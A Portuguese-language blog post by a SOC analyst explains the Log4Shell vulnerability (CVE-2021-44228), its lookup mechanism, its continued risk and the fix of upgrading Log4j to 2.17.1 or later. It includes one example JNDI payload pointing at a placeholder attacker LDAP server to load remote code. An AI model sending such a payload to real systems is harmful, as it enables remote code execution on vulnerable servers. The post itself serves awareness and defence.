You’ve been Log4pwned!

Já há algum tempo venho participando do processo de Gestão de Vulnerabilidades aqui da CYLO, tem sido uma tarefa desafiadora e, por mais que cada ambiente que eu faço essa gestão tenha as suas individualidades, em quase todos os ambientes me deparo sempre com as mesmas falhas, figurinhas repetidas que estão presentes em 80% dos ambientes, a ideia de escrever esse post é totalmente baseada em descrever essas vulnerabilidades, que eu sei que existem no seu ambiente, mesmo não te conhecendo.

E para começar, não poderia ser diferente, é impossivel falar de vulnerabilidades críticas que viraram o mundo de cabeça pra baixo, sem citar a tão temida e assustadora CVE-2021-44228. Ou para os intímos Log4shell. O terror dos analistas de SOC em meados de 2021/2022 e em muitos casos, até hoje!

Se você vive em baixo de uma pedra, e não faz ideia do que estou falando, fique calmo que vou te explicar o que é a vulnerabilidade CVE-2021-44228, qual produto ela afeta, e como ela é explorada por agentes de ameaça.

Descrição da vulnerabilidade

Log4Shell (CVE-2021-44228) é uma falha na biblioteca de logging Java Log4j desenvolvida pelo Apache afetando as versões 2.0-beta9 até 2.15 (há contradições sobre o primeiro patch de correção dessa vulnerabilidade que, teóricamente foi lançada na versão 2.15 porém o patch não funcionou completamente e em alguns casos específicos ainda era possível realizar a exploração) que simplesmente permitia que QUALQUER texto logado virasse um CÓDIGO EXECUTÁVEL no servidor, mas como isso funciona?

Na prática, o Log4j permitia que mensagens de log contivessem expressões no formato ${...}, que eram interpretadas automaticamente durante o processamento do log. Uma dessas expressões era ${jndi:...}, relacionada ao JNDI, uma API do Java usado para localizar e obter objetos ou recursos em servidores externos, como serviços de diretório LDAP. Ao processar essa expressão, o Log4j realizava uma consulta ao servidor indicado e podia carregar o conteúdo retornado.

Exploração da CVE-2021-44228

Agora, entendendo onde está a falha na biblioteca Log4j presente no servidor Apache vulnerável. Quando o atacante identifica essa condição, ele passa à exploração (e acredite ele vai explorar), fazendo com que a aplicação registre em log algum dado controlado pelo atacante (como cabeçalho HTTP User-Agent ou campo de login) contendo uma expressão JNDI maliciosa, aqui vai um exemplo de uma requisição maliciosa:

${jndi:ldap://servidor-do-atacante/mimikatz.exe}.

Quando o Log4j processa esse log, ele irá interpretar a expressão ${jndi:...} e usa o JNDI para consultar o servidor LDAP do atacante, que responde com uma referência a uma classe Java remota. A JVM da aplicação então baixa e carrega essa classe, executando o código nela contido no contexto do processo vulnerável, resultando em um RCE que vai te dar pesadelos.

Relevância da vulnerabilidade CVE-2021-44228

Após entender o que é a falha representada pela CVE-2021-44228, e entender como atacantes realizam sua exploração, pergunto. Por que se preocupar tanto com essa vulnerabilidade? qual sua relevância? afinal existem milhares de outras falhas que descrevem a possibilidade de um RCE em outros produtos.

O motivo é bem simples, e preocupante. Mesmo após mais de 5 anos desde sua descoberta, a vulnerabilidade Log4Shell ainda possui um EPSS de 94.36% e um CVSS score que pessoalmente acredito que nunca irá abaixar de 10/10, dados esses que foram coletados no dia 26/02/2026, refletindo um cenário em que ainda há milhares se não milhões de aplicações vulneráveis a CVE-2021-44228, e que estão ativamente sendo explorados todos os dias, afinal é facil de explorar, em muitos casos, não necessitando de privilégios elevados, literalmente o paraíso dos Adversários.

Portanto, se quiser dormir tranquilo, certifique-se de atualizar o Log4J da sua aplicação para a versões >= 2.17.1 o quanto antes (tem que ser literalmente para ontem!). E para aqueles que chegaram agora e não fazem ideia se estão com suas aplicações vulneraváveis, não perca mais tempo, pois o atacante provavelmente já tem essa resposta, e ele não vai perder nem um segundo.

Refêrencias

CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12

Known Exploited Vulnerabilities Catalog | CISA

NVD – CVE-2021-44228

Publicado por

Hector Carlos Frigo

Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em "Defensive Cyber Security" pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University "Foundations of Incident Management" e "Advanced Topics in Incident Handling"